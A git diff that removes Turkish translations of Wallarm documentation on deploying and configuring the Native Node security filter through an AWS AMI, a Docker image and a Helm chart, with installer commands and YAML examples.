`https://us1.api.wallarm.com` veya `https://api.wallarm.com` - * Saldırı tespit kuralları ve [API specifications][api-spec-enforcement-docs] güncellemelerini indirmek ve ayrıca [allowlisted, denylisted veya graylisted][ip-list-docs] ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP’leri almak için aşağıdaki IP adresleri - - --8<-- "../include/wallarm-cloud-ips.md" -* Instance’a erişim için SSH anahtar çifti - -### 2. Node instance’ına SSH ile bağlanın - -Çalışan EC2 instance’ınıza bağlanmak için [seçtiğiniz SSH anahtarını kullanın](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-linux-instance.html): - -```bash -ssh -i admin@ -``` - -Instance’a bağlanmak için `admin` kullanıcı adını kullanmanız gerekir. - -### 3. Wallarm token’ını hazırlayın - -Node’u Wallarm Cloud’a kaydetmek için bir API token’ına ihtiyacınız var: - -1. [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) içinde Wallarm Console → **Settings** → **API tokens**’ı açın. -1. `Node deployment/Deployment` kullanım türüne sahip API token’ını bulun veya oluşturun. -1. Bu token’ı kopyalayın. - -### 4. TLS sertifikalarını yükleyin - -`connector-server` modu için, instance’ın etki alanı adına **güvenilir** bir TLS sertifikası ve özel anahtar düzenleyin. Bu dosyalar instance içinde erişilebilir olmalı ve sonraki yapılandırmada referans verilmelidir. - -Sertifika ve anahtar dosyalarını `scp`, `rsync` veya başka bir yöntemle EC2 instance’ına yükleyin, örn.: - -``` -scp -i tls-cert.crt tls-key.key admin@:~ -``` - - -### 5. Yapılandırma dosyasını hazırlayın - -EC2 instance’ında, aşağıdaki minimal yapılandırmalardan biriyle `wallarm-node-conf.yaml` adlı bir dosya oluşturun: - -=== "connector-server" - ```yaml - version: 4 - - mode: connector-server - - connector: - address: ":5050" - tls_cert: path/to/tls-cert.crt - tls_key: path/to/tls-key.key - ``` - - `connector.tls_cert` ve `connector.tls_key` içinde, makinenin etki alanı için düzenlenmiş **güvenilir** sertifika ve özel anahtarın yollarını belirtirsiniz. -=== "tcp-capture" - ```yaml - version: 4 - - mode: tcp-capture - - goreplay: - filter: 'enp7s0:' - extra_args: - - -input-raw-engine - - vxlan - ``` - - `goreplay.filter` parametresinde, trafikten yakalama yapılacak ağ arayüzünü belirtirsiniz. Ana makinede mevcut ağ arayüzlerini kontrol etmek için: - - ``` - ip addr show - ``` - -[Tüm yapılandırma parametreleri](all-in-one-conf.md) - -### 6. Node kurulum betiğini çalıştırın - -EC2 instance’ında installer’ı çalıştırın: - -=== "connector-server" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config=./wallarm-node-conf.yaml --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh -- --batch --token --mode=connector-server --go-node-config=./wallarm-node-conf.yaml --host api.wallarm.com - ``` -=== "tcp-capture" - ```bash - # US Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config=./wallarm-node-conf.yaml --host us1.api.wallarm.com - - # EU Cloud - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh -- --batch --token --mode=tcp-capture --go-node-config=./wallarm-node-conf.yaml --host api.wallarm.com - ``` - -* `WALLARM_LABELS` değişkeni, node’un ekleneceği group’u ayarlar (Wallarm Console UI içinde node’ların mantıksal gruplanması için kullanılır). -* ``, `Node deployment/Deployment` kullanım türü için oluşturulan API token’ını belirtir. -* `--go-node-config`, önceden hazırlanan yapılandırma dosyasının yolunu belirtir. - -Sağlanan yapılandırma dosyası şu yola kopyalanacaktır: `/opt/wallarm/etc/wallarm/go-node.yaml`. - -Gerekirse, kurulum tamamlandıktan sonra kopyalanan dosyada değişiklik yapabilirsiniz. Değişiklikleri uygulamak için `sudo systemctl restart wallarm` komutuyla Wallarm servisini yeniden başlatmanız gerekir. - -### 7. Kurulumu tamamlayın - -=== "connector-server" - Node’u dağıttıktan sonra, bir sonraki adım, trafiği dağıtılan node’a yönlendirmek için Wallarm kodunu API yönetim platformunuza veya hizmetinize uygulamaktır. - - 1. Connector’ınız için Wallarm kod paketini edinmek üzere sales@wallarm.com ile iletişime geçin. - 1. Paketi API yönetim platformunuza uygulamak için platforma özel talimatları izleyin: - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) -=== "tcp-capture" - [Dağıtım testine geçin](../oob/tcp-traffic-mirror/deployment.md#step-5-test-the-solution). - -## Node’un çalışmasını doğrulama - -Node’un trafiği tespit ettiğini doğrulamak için log’ları kontrol edebilirsiniz: - -* Native Node log’ları varsayılan olarak `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yazılır. -* Verilerin Wallarm Cloud’a gönderilip gönderilmediği, tespit edilen saldırılar vb. [standart log’lar](../../admin-en/configure-logging.md) `/opt/wallarm/var/log/wallarm` dizininde bulunur. -* Ek hata ayıklama için, [`log.level`](all-in-one-conf.md#loglevel) parametresini `debug` olarak ayarlayın. - -Ayrıca Node’un çalışmasını, `http://:9000/metrics.` adresinde sunulan [Prometheus metriklerini](../../admin-en/native-node-metrics.md) kontrol ederek de doğrulayabilirsiniz. - -## Installer başlatma seçenekleri - -AMI, aşağıdaki başlatma seçeneklerine sahip bir installer betiği içerir: - -* Betik hakkında **yardım** alın: - - ``` - sudo ./aio-native-0.14.0.x86_64.sh -- --help - ``` -* Installer’ı **etkileşimli** modda çalıştırın ve 1. adımda gerekli modu seçin: - - ``` - sudo env WALLARM_LABELS='group=' ./aio-native-0.14.0.x86_64.sh - ``` -* Node’u yalnızca API Discovery modunda kullanabilirsiniz. Bu modda, Node’un yerleşik mekanizmalarıyla tespit edilen ve ek yapılandırma gerektiren (ör. kimlik bilgisi doldurma, API specification ihlali girişimleri ve denylisted ve graylisted IP’lerden gelen kötü amaçlı etkinlik) saldırılar yerel olarak (etkinleştirilmişse) tespit edilir ve engellenir, ancak Wallarm Cloud’a aktarılmaz. Cloud’da saldırı verisi olmadığından [Threat Replay Testing](../../vulnerability-detection/threat-replay-testing/overview.md) çalışmaz. Allowlist’teki IP’lerden gelen trafik izinlidir. - - Bu arada, [API Discovery](../../api-discovery/overview.md), [API session tracking](../../api-sessions/overview.md) ve [security vulnerability detection](../../about-wallarm/detecting-vulnerabilities.md) tam işlevselliklerini korur, ilgili güvenlik varlıklarını tespit eder ve görselleştirme için Cloud’a yükler. - - Bu mod, önce API envanterini gözden geçirmek ve hassas verileri belirlemek, ardından kontrollü saldırı verisi aktarımını planlamak isteyenler içindir. Ancak, Wallarm saldırı verilerini güvenli bir şekilde işlediği ve gerekirse [sensitive attack data masking](../../user-guides/rules/sensitive-data-rule.md) sağladığı için saldırı verisi aktarımını devre dışı bırakmak nadirdir. - - API Discovery-only modunu etkinleştirmek için: - - 1. `/etc/wallarm-override/env.list` dosyasını oluşturun veya değiştirin: - - ``` - sudo mkdir /etc/wallarm-override - sudo vim /etc/wallarm-override/env.list - ``` - - Aşağıdaki değişkeni ekleyin: - - ``` - WALLARM_APID_ONLY=true - ``` - - 1. [Node kurulum prosedürünü](#installation) izleyin. - - API Discovery-only modu etkinleştirildiğinde, `/opt/wallarm/var/log/wallarm/wcli-out.log` log’u aşağıdaki mesajı döndürür: - - ```json - {"level":"info","component":"reqexp","time":"2025-01-31T11:59:38Z","message":"requests export skipped (disabled)"} - ``` - - \ No newline at end of file diff --git a/docs/latest-tr/installation/native-node/docker-image.md b/docs/latest-tr/installation/native-node/docker-image.md deleted file mode 100644 index 9005d1318d..0000000000 --- a/docs/latest-tr/installation/native-node/docker-image.md +++ /dev/null @@ -1,146 +0,0 @@ -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[ptrav-attack-docs]: ../../attacks-vulns-list.md#path-traversal -[attacks-in-ui-image]: ../../images/admin-guides/test-attacks-quickstart.png -[filtration-mode-docs]: ../../admin-en/configure-wallarm-mode.md -[se-connector-setup-img]: ../../images/waf-installation/se-connector-setup.png -[ip-list-docs]: ../../user-guides/ip-lists/overview.md -[api-token]: ../../user-guides/settings/api-tokens.md -[api-spec-enforcement-docs]: ../../api-specification-enforcement/overview.md -[self-hosted-connector-node-helm-conf]: ../connectors/self-hosted-node-conf/helm-chart.md - -# Docker imajından Native Node’u dağıtma - -[Wallarm Native Node](../nginx-native-node-internals.md), NGINX’ten bağımsız çalışır ve bazı connector’larla birlikte dağıtım için tasarlanmıştır. Native Node’u, resmi Docker imajından container’laştırılmış servisleriniz üzerinde çalıştırabilirsiniz. - -## Kullanım senaryoları - -* MuleSoft [Mule](../connectors/mulesoft.md) veya [Flex](../connectors/mulesoft-flex.md) Gateway, [Akamai](../connectors/akamai-edgeworkers.md), [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md), [IBM DataPower](../connectors/ibm-api-connect.md) için bir connector çözümünün parçası olarak Wallarm düğümünü, self-hosted bir Linux OS makinesinde dağıtmak istediğinizde. - - Yükleyiciyi `connector-server` modunda kullanın. -* Istio tarafından yönetilen API’ler için [gRPC tabanlı harici işleme filtresine](../connectors/istio.md) ihtiyaç duyduğunuzda. - - Yükleyiciyi `envoy-external-filter` modunda kullanın. - -Native Node için Docker imajı, AWS ECS veya diğer Docker tabanlı ortamlar gibi container orkestrasyon platformlarını zaten kullanıyorsanız idealdir. Wallarm düğümü, servisinize bir Docker container’ı olarak çalışır ve API yönetim platformunuz için güvenlik filtreleme ve trafik inceleme sağlar. - -## Gereksinimler - -* Ana sisteminizde [Docker](https://docs.docker.com/engine/install/) kurulu olmalı -* API yönetim platformunuzdan container’laştırılmış ortamınıza gelen erişim -* Container’laştırılmış ortamınızdan aşağıdakilere giden erişim: - - * Dağıtım için gereken Docker imajlarını indirmek üzere `https://hub.docker.com/r/wallarm` - * US/EU Wallarm Cloud için `https://us1.api.wallarm.com` veya `https://api.wallarm.com` - * Saldırı tespit kuralları ve [API spesifikasyonları][api-spec-enforcement-docs] güncellemelerini indirmek, ayrıca [allowlist’e, denylist’e veya graylist’e][ip-list-docs] alınmış ülke, bölge veya veri merkezleriniz için kesin IP’leri almak amacıyla aşağıdaki IP adresleri - - --8<-- "../include/wallarm-cloud-ips.md" -* Native Node bulunan ECS örneğinizin önündeki yük dengeleyici için güvenilir bir SSL/TLS sertifikası gereklidir -* Bunlara ek olarak, Wallarm Console içinde Administrator rolüne sahip olmalısınız - -## Sınırlamalar - -* Yük dengeleyiciyi güvenceye almak için öz-imzalı (self‑signed) SSL sertifikaları desteklenmez. -* [Özel engelleme sayfası ve engelleme kodu](../../admin-en/configuration-guides/configure-block-page-and-code.md) yapılandırmaları henüz desteklenmiyor. -* Wallarm kuralı ile [hız sınırlama](../../user-guides/rules/rate-limiting.md) desteklenmiyor. -* [Çok kiracılık](../multi-tenant/overview.md) (multitenancy) henüz desteklenmiyor. - -## Dağıtım - -### 1. Docker imajını çekin - -``` -docker pull wallarm/node-native-aio:0.17.1 -``` - -### 2. Yapılandırma dosyasını hazırlayın - -Native Node için aşağıdaki asgari yapılandırma ile `wallarm-node-conf.yaml` dosyasını oluşturun: - -=== "connector-server" - ```yaml - version: 4 - - mode: connector-server - - connector: - address: ":5050" - ``` -=== "envoy-external-filter" - ```yaml - version: 4 - - mode: envoy-external-filter - - envoy_external_filter: - address: ":5080" - tls_cert: "/path/to/cert.crt" - tls_key: "/path/to/cert.key" - ``` - -[Tüm yapılandırma parametreleri](all-in-one-conf.md) (Docker imajı ile Native Node all-in-one yükleyicisi için aynıdır) - -### 3. Wallarm token’ını hazırlayın - -Düğümü kurmak için, düğümü Wallarm Cloud’a kaydetmekte kullanılacak bir token’a ihtiyacınız olacak. Token’ı hazırlamak için: - -1. Wallarm Console → Settings → API tokens bölümünü [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) üzerinde açın. -1. `Node deployment/Deployment` kullanım türüne sahip bir API token bulun veya oluşturun. -1. Bu token’ı kopyalayın. - -### 4. Docker container’ını çalıştırın - -Docker imajını çalıştırmak için aşağıdaki komutları kullanın. `wallarm-node-conf.yaml` dosyasını container’a bağlayın. - -=== "US Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='us1.api.wallarm.com' -v ./wallarm-node-conf.yaml:/opt/wallarm/etc/wallarm/go-node.yaml -p 80:5050 wallarm/node-native-aio:0.17.1 - ``` -=== "EU Cloud" - ```bash - docker run -d -e WALLARM_API_TOKEN='XXXXXXX' -e WALLARM_LABELS='group=' -e WALLARM_API_HOST='api.wallarm.com' -v ./wallarm-node-conf.yaml:/opt/wallarm/etc/wallarm/go-node.yaml -p 80:5050 wallarm/node-native-aio:0.17.1 - ``` - -Ortam değişkeni | Açıklama| Gerekli ---- | ---- | ---- -`WALLARM_API_TOKEN` | `Node deployment/Deployment` kullanım türüne sahip API token. | Evet -`WALLARM_LABELS` | Düğüm örneklerini gruplaştırmak için `group` etiketini ayarlar, örneğin:
              `WALLARM_LABELS="group="` düğüm örneğini `` örnek grubuna yerleştirir (varsa mevcut olan, yoksa oluşturulacaktır). | Evet -`WALLARM_API_HOST` | Wallarm API sunucusu:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan: `api.wallarm.com`. | Evet -`WALLARM_APID_ONLY` (0.12.1 ve üzeri) | Bu modda, trafiğinizde tespit edilen saldırılar düğüm tarafından yerel olarak engellenir ([etkinleştirildiyse](../../admin-en/configure-wallarm-mode.md#available-filtration-modes)) ancak Wallarm Cloud’a aktarılmaz. Bu arada, [API Discovery](../../api-discovery/overview.md) ve bazı diğer özellikler tam işlevsel kalır, API envanterinizi tespit eder ve görselleştirme için Cloud’a yükler. Bu mod, önce API envanterini gözden geçirmek ve hassas verileri belirlemek, ardından kontrollü saldırı verisi aktarımını planlamak isteyenler içindir. Ancak, saldırı aktarımının devre dışı bırakılması nadirdir; çünkü Wallarm saldırı verilerini güvenle işler ve gerekirse [hassas saldırı verisi maskeleme](../../user-guides/rules/sensitive-data-rule.md) sağlar. [Daha fazla bilgi](../../installation/native-node/all-in-one.md#apid-only-mode)
              Varsayılan: `false`. | Hayır - -* `-p` seçeneği ana makine ve container portlarını eşler: - - * İlk değer (`80`), dış trafiğe açılan ana makinenin portudur. - * İkinci değer (`5050`), container’ın portudur ve `wallarm-node-conf.yaml` dosyasındaki `connector.address` veya `envoy_external_filter.address` ayarıyla eşleşmelidir. -* Yapılandırma dosyası, container içinde `/opt/wallarm/etc/wallarm/go-node.yaml` olarak bağlanmalıdır. - -### 5. Wallarm kodunu bir API yönetim hizmetine uygulayın - -Düğüm dağıtıldıktan sonra, trafiği dağıtılan düğüme yönlendirmek için Wallarm kodunu API yönetim platformunuza veya hizmetinize uygulamanız gerekir. - -1. Connector’ünüz için Wallarm kod paketini almak üzere sales@wallarm.com ile iletişime geçin. -1. Paketi API yönetim platformunuza uygulamak için platforma özel talimatları izleyin: - - * [MuleSoft Mule Gateway](../connectors/mulesoft.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [MuleSoft Flex Gateway](../connectors/mulesoft-flex.md#2-obtain-and-upload-the-wallarm-policy-to-mulesoft-exchange) - * [Akamai](../connectors/akamai-edgeworkers.md#2-obtain-the-wallarm-code-bundle-and-create-edgeworkers) - * [Cloudflare](../connectors/cloudflare.md#2-obtain-and-deploy-the-wallarm-worker-code) - * [Amazon CloudFront](../connectors/aws-lambda.md#2-obtain-and-deploy-the-wallarm-lambdaedge-functions) - * [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md#2-add-the-nodes-ssltls-certificate-to-the-policy-manager) - * [Fastly](../connectors/fastly.md#2-deploy-wallarm-code-on-fastly) - * [Envoy/Istio](../connectors/istio.md) - * [IBM DataPower](../connectors/ibm-api-connect.md) - -## Düğüm çalışmasını doğrulama - -Düğümün trafiği algıladığını doğrulamak için günlükleri kontrol edebilirsiniz: - -* Native Node günlükleri varsayılan olarak `/opt/wallarm/var/log/wallarm/go-node.log` dosyasına yazılır, ayrıca stdout’a ek çıktı verilir. -* Verilerin Wallarm Cloud’a gönderilip gönderilmediği, tespit edilen saldırılar vb. gibi filtreleme düğümünün [standart günlükleri](../../admin-en/configure-logging.md) `/opt/wallarm/var/log/wallarm` dizininde bulunur. -* Ek hata ayıklama için, [`log.level`](all-in-one-conf.md#loglevel) parametresini `debug` olarak ayarlayın. - -Ayrıca, `http://:9000/metrics` adresinde sunulan [Prometheus metriklerini](../../admin-en/native-node-metrics.md) kontrol ederek düğümün çalışmasını doğrulayabilirsiniz. - -## Yükseltme - -Düğümü yükseltmek için [talimatları](../../updating-migrating/native-node/docker-image.md) izleyin. \ No newline at end of file diff --git a/docs/latest-tr/installation/native-node/helm-chart-conf.md b/docs/latest-tr/installation/native-node/helm-chart-conf.md deleted file mode 100644 index c462d34baf..0000000000 --- a/docs/latest-tr/installation/native-node/helm-chart-conf.md +++ /dev/null @@ -1,543 +0,0 @@ -[us-cloud-docs]: ../../about-wallarm/overview.md#cloud -[eu-cloud-docs]: ../../about-wallarm/overview.md#cloud - -# Helm Chart ile Native Node'u Yapılandırma - -Helm chart kullanarak self-hosted [Wallarm Native Node](../nginx-native-node-internals.md#native-node) dağıtırken, yapılandırma `values.yaml` dosyasında veya CLI üzerinden belirtilir. Bu belge, kullanılabilir yapılandırma parametrelerini açıklar. - -Dağıtımdan sonra ayarları değiştirmek için, değiştirmek istediğiniz parametrelerle aşağıdaki komutu kullanın: - -``` -helm upgrade --set config.api.token= wallarm/wallarm-node-native -n wallarm-node -``` - -## Temel ayarlar - -Varsayılan `values.yaml` dosyasının, temelde değiştirmeniz gerekebilecek Wallarm'a özgü bölümü aşağıdaki gibidir: - -```yaml -config: - api: - token: "" - host: api.wallarm.com - nodeGroup: "defaultNodeNextGroup" - - connector: - certificate: - enabled: true - certManager: - enabled: false - # issuerRef: - # name: letsencrypt-prod - # kind: ClusterIssuer - existingSecret: - enabled: false - # name: my-secret-name - customSecret: - enabled: false - # ca: LS0... - # crt: LS0... - # key: LS0... - - allowed_hosts: [] - - route_config: {} - # wallarm_application: -1 - # wallarm_mode: monitoring - # routes: - # - route: "/api/v1" - # wallarm_application: 1 - # - route: "/extra_api" - # wallarm_application: 2 - # - route: "/testing" - # wallarm_mode: monitoring - # - host: "example.com" - # route: /api - # wallarm_application: 3 - - proxy_headers: - # Kural 1: Şirket içi proxy'ler - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # Kural 2: Harici uç proxy'ler (örn., CDN, ters proxy) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP - - log: - pretty: false - level: info - log_file: stdout - access_log: - enabled: true - verbose: false - - aggregation: - serviceAddress: "[::]:3313" - -processing: - service: - type: LoadBalancer - port: 5000 -``` - -### config.api.token (gerekli) - -Node'u Wallarm Cloud'a bağlamak için [API token](../../user-guides/settings/api-tokens.md). - -API token oluşturmak için: - -1. Wallarm Console → Settings → API tokens bölümüne [US Cloud](https://us1.my.wallarm.com/settings/api-tokens) veya [EU Cloud](https://my.wallarm.com/settings/api-tokens) üzerinde gidin. -1. Kullanım türü olarak Node deployment/Deployment olan bir API token oluşturun. - -### config.api.host - -Wallarm API uç noktası. Şunlardan biri olabilir: - -* [US cloud][us-cloud-docs] için `us1.api.wallarm.com` -* [EU cloud][eu-cloud-docs] için `api.wallarm.com` (varsayılan) - -### config.api.nodeGroup - -Yeni dağıtılan node'ları eklemek istediğiniz filtreleme node'ları grubunun adını belirtir. - -Varsayılan değer: `defaultNodeNextGroup` - -### config.connector.mode - -Wallarm node çalışma modu. Şunlar olabilir: - -* MuleSoft [Mule](../connectors/mulesoft.md) veya [Flex](../connectors/mulesoft-flex.md) Gateway, [Akamai](../connectors/akamai-edgeworkers.md), [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md), [Kong API Gateway](../connectors/kong-api-gateway.md), [IBM DataPower](../connectors/ibm-api-connect.md) konektörleri için `connector-server` (varsayılan) -* Istio tarafından yönetilen API'ler için [gRPC tabanlı harici işleme filtresi](../connectors/istio.md) için `envoy-external-filter` - -### config.connector.certificate.enabled (gerekli) - -Güvenli iletişim için Wallarm Load Balancer'ın SSL/TLS sertifikası kullanıp kullanmayacağını kontrol eder. - -İletişim için bu değer `true` olmalı ve güvenilen sertifika sağlanmış olmalıdır. - -SSL/TLS iletişimini yönetmek için `certManager`, `existingSecret` veya `customSecret` yaklaşımlarından birini kullanabilirsiniz. - -#### certManager - -Kümenizde [`cert-manager`](https://cert-manager.io/) kullanıyorsanız ve SSL/TLS sertifikasını bununla üretmeyi tercih ediyorsanız, ilgili yapılandırmayı bu bölümde belirtin. - -Örnek yapılandırma: - -```yaml -config: - connector: - certificate: - enabled: true - certManager: - enabled: true - issuerRef: - # cert-manager Issuer veya ClusterIssuer ad - name: letsencrypt-prod - # Issuer (namespace kapsamlı) mı yoksa ClusterIssuer (küme genelinde) mı - kind: ClusterIssuer -``` - -#### existingSecret - -Aynı namespace içindeki mevcut bir Kubernetes secret'ından SSL/TLS sertifikası çekmek için bu yapılandırma bloğunu kullanabilirsiniz. - -Örnek yapılandırma: - -```yaml -config: - connector: - certificate: - enabled: true - existingSecret: - enabled: true - # Sertifika ve özel anahtarı içeren Kubernetes secret'ın adı - name: my-secret-name -``` - -#### customSecret - -`customSecret` yapılandırması, Kubernetes secret'ları veya cert-manager gibi harici kaynaklara bağlı kalmadan sertifikayı doğrudan yapılandırma dosyasında tanımlamanıza olanak tanır. - -Sertifika, özel anahtar ve isteğe bağlı olarak bir CA, base64 kodlu değerler olarak belirtilmelidir. - -Örnek yapılandırma: - -```yaml -config: - connector: - certificate: - enabled: true - customSecret: - enabled: true - ca: LS0... - crt: LS0... - key: LS0... -``` - -### config.connector.allowed_hosts - -İzin verilen ana makine adlarının listesi. - -Varsayılan değer: tüm host'lara izin verilir. - -Bu parametre joker karakter eşlemesini destekler: - -* `*` ayırıcı olmayan karakterlerin herhangi bir dizisini eşleştirir -* `?` tek bir ayırıcı olmayan karakteri eşleştirir -* `'[' [ '^' ] { character-range } ']'` - -??? info "Joker eşleme sözdizimi ayrıntıları" - ``` - // Desen sözdizimi: - // - // pattern: - // { term } - // term: - // '*' ayırıcı olmayan karakterlerin herhangi bir dizisini eşleştirir - // '?' tek bir ayırıcı olmayan karakteri eşleştirir - // '[' [ '^' ] { character-range } ']' - // karakter sınıfı (boş olamaz) - // c c karakterini eşleştirir (c != '*', '?', '\\', '[') - // '\\' c c karakterini eşleştirir - // - // character-range: - // c c karakterini eşleştirir (c != '\\', '-', ']') - // '\\' c c karakterini eşleştirir - // lo '-' hi lo <= c <= hi için c karakterini eşleştirir - // - // Eşleşme, desenin adın tamamıyla eşleşmesini gerektirir, yalnızca bir alt diziyle değil. - ``` - -Örneğin: - -```yaml -config: - connector: - allowed_hosts: - - w.com - - "*.test.com" -``` - -### config.connector.route_config - -Belirli rotalar için ayarları belirttiğiniz yapılandırma bölümü. - -### config.connector.route_config.wallarm_application - -[Wallarm uygulama ID'si](../../user-guides/settings/applications.md). Bu değer, belirli rotalar için geçersiz kılınabilir. - -Varsayılan: `-1`. - -### config.connector.route_config.wallarm_mode - -Trafik [filtrasyon modu](../../admin-en/configure-wallarm-mode.md): `block`, `safe_blocking`, `monitoring` veya `off`. OOB modunda, trafik engelleme desteklenmez. - -Bu değer, belirli rotalar için geçersiz kılınabilir. - -!!! info "`off` değeri için sözdizimi" - `off` değeri `"off"` olarak tırnak içine alınmalıdır. - -Varsayılan: `monitoring`. - -### config.connector.route_config.routes - -Rota özel Wallarm yapılandırmasını ayarlar. Wallarm modu ve uygulama ID'lerini içerir. Örnek yapılandırma: - -```yaml -config: - connector: - route_config: - wallarm_application: 10 - wallarm_mode: monitoring - routes: - - host: example.com - wallarm_application: 1 - routes: - - route: /app2 - wallarm_application: 2 - - host: api.example.com - route: /api - wallarm_application: 100 - - route: /testing - wallarm_mode: block -``` - -#### host - -Rota host'unu belirtir. Bu parametre, [`config.connector.allowed_hosts`](#configconnectorallowed_hosts) parametresi ile aynı şekilde joker eşlemeyi destekler. - -Örneğin: - -```yaml -config: - connector: - route_config: - wallarm_application: 10 - routes: - - host: "*.host.com" -``` - -#### routes.route veya route - -Belirli rotaları tanımlar. Rotalar, NGINX benzeri öneklerle yapılandırılabilir: - -```yaml -- route: [ = | ~ | ~* | ^~ | ]/location - # | | | | ^ ön ek (regex'lerden daha düşük öncelik) - # | | | ^ ön ek (regex'lerden daha yüksek öncelik) - # | | ^re büyük/küçük harf duyarsız - # | ^re büyük/küçük harf duyarlı - # ^tam eşleşme -``` - -Örneğin, yalnızca tam rotayı eşleştirmek için: - -```yaml -- route: =/api/login -``` - -Rotaları düzenli ifadeyle eşleştirmek için: - -```yaml -- route: ~/user/[0-9]+/login.* -``` - -#### wallarm_application - -[Wallarm uygulama ID'sini](../../user-guides/settings/applications.md) ayarlar. Belirli uç noktalar için `route_config.wallarm_application` değerini geçersiz kılar. - -#### wallarm_mode - -Host'a özel trafik [filtrasyon modu](../../admin-en/configure-wallarm-mode.md): `block`, `safe_blocking`, `monitoring` veya `off`. OOB modunda, trafik engelleme desteklenmez. - -!!! info "`off` değeri için sözdizimi" - `off` değeri `"off"` olarak tırnak içine alınmalıdır. - -Varsayılan: `monitoring`. - -### config.connector.proxy_headers - -Trafik proxy'ler veya yük dengeleyiciler üzerinden geçtiğinde Native Node'un orijinal istemci IP'sini ve host'unu nasıl çıkaracağını yapılandırır. - -* `trusted_networks`: güvenilen proxy IP aralıkları (CIDR'ler). `X-Forwarded-For` gibi başlıklar yalnızca istek bu ağlardan geliyorsa güvenilir kabul edilir. - - Atlanırsa, tüm ağlar güvenilir kabul edilir (önerilmez). -* `original_host`: bir proxy tarafından değiştirilmişse orijinal `Host` değerini almak için kullanılacak başlıklar. -* `real_ip`: gerçek istemci IP adresini çıkarmak için kullanılacak başlıklar. - -Farklı proxy türleri veya güven seviyeleri için birden fazla kural tanımlayabilirsiniz. - -!!! info "Kural değerlendirme sırası" - İstek başına yalnızca ilk eşleşen kural uygulanır. - -Native Node 0.17.1 ve sonrasında desteklenir. - -Örnek: - -```yaml -config: - connector: - proxy_headers: - # Kural 1: Şirket içi proxy'ler - - trusted_networks: - - 10.0.0.0/8 - - 192.168.0.0/16 - original_host: - - X-Forwarded-Host - real_ip: - - X-Forwarded-For - - # Kural 2: Harici uç proxy'ler (örn., CDN, ters proxy) - - trusted_networks: - - 203.0.113.0/24 - original_host: - - X-Real-Host - real_ip: - - X-Real-IP -``` - -### config.connector.log - -`config.connector.log.*` yapılandırma bölümü, Native Node Helm chart sürümü 0.10.0 ile kullanılabilir hale gelmiştir. Önceden, kayıtlar yalnızca `config.connector.log_level` parametresi ile yönetilirdi. - -#### pretty - -Hata ve erişim log formatını kontrol eder. İnsan tarafından okunabilir loglar için `true`, JSON loglar için `false` ayarlayın. - -Varsayılan: `false`. - -#### level - -Log seviyesi, `debug`, `info`, `warn`, `error`, `fatal` olabilir. - -Varsayılan: `info`. - -#### log_file - -Hata ve erişim log çıktısının hedefini belirtir. Seçenekler `stdout`, `stderr` veya bir log dosyasına giden yol. - -Varsayılan: `stdout`. - -#### access_log.enabled - -Erişim loglarının toplanıp toplanmayacağını kontrol eder. - -Varsayılan: `true`. - -#### access_log.verbose - -Erişim log çıktısında her istek hakkında ayrıntılı bilginin dahil edilip edilmeyeceğini kontrol eder. - -Varsayılan: `false`. - -### config.aggregation.serviceAddress - -**wstore**'un gelen bağlantıları kabul ettiği adresi ve portu belirtir. - -Sürüm 0.15.1'den itibaren desteklenir. - -Varsayılan değer: `[::]:3313` - tüm IPv4 ve IPv6 arayüzlerinde 3313 portunu dinler. Bu, 0.15.1'den önceki sürümlerde de varsayılan davranıştı. - -### processing.service.type - -Wallarm servis türü. Şunlar olabilir: - -* Trafiği yönlendirmeyi kolaylaştırmak için genel IP'ye sahip bir yük dengeleyici olarak servisi çalıştırmak üzere `LoadBalancer`. - - Bu, MuleSoft [Mule](../connectors/mulesoft.md) veya [Flex](../connectors/mulesoft-flex.md) Gateway, [Akamai](../connectors/akamai-edgeworkers.md), [Cloudflare](../connectors/cloudflare.md), [Amazon CloudFront](../connectors/aws-lambda.md), [Broadcom Layer7 API Gateway](../connectors/layer7-api-gateway.md), [Fastly](../connectors/fastly.md), [IBM DataPower](../connectors/ibm-api-connect.md), [Istio](../connectors/istio.md) konektörleri için uygundur. -* Genel bir IP açığa çıkarmadan dahili trafik için `ClusterIP`. - - Bu, [Kong API Gateway](../connectors/kong-api-gateway.md) konektörleri için uygundur. - -Varsayılan: `ClusterIP`. - -### processing.service.port - 